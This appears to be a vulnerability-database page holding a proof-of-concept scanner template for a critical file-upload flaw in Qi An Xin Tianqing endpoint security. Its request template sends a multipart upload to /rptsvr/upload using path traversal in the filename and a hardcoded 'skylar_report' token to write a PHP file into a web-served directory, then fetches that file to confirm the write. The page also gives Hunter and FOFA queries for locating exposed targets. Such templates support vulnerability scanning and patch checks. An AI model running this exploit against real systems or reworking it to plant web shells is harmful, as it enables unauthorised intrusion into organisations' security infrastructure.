qianxin-tianqing-rptsvr-fileupload: 奇安信天擎 RPTSVR 文件上传漏洞

2025-08-01 奇安信天擎RPTSVR PoC Public

Description

hunter: web.title=="360新天擎" || web.title=="360天擎终端安全管理系统"

fofa: "奇安信天擎"

PoC

id: qianxin-tianqing-rptsvr-fileupload

info:
  name: 奇安信天擎 RPTSVR 文件上传漏洞
  author: zan8in
  severity: critical
  verified: true
  description: |-
    hunter: web.title=="360新天擎" || web.title=="360天擎终端安全管理系统"
    fofa: "奇安信天擎"
  reference:
    - https://mp.weixin.qq.com/s/CkvAaxQThv_33e_CG9Md5w
  tags: qianxin,tianqing,fileupload
  created: 2024/02/29

set:
  randstr: randomLowercase(20)
  randbody: randomLowercase(32)
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /rptsvr/upload
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"uploadfile\";filename=\"../../../application/api/controllers/{{randstr}}.php\"\r\n\
        Content-Type: text/x-python\r\n\
        \r\n\
        {{randbody}}\r\n\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"token\"\r\n\
        \r\n\
        skylar_report\r\n\
        ------WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: response.status == 200
  r1:
    request:
      method: GET
      path: /application/api/controllers/{{randstr}}.php
    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
expression: r0() && r1()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities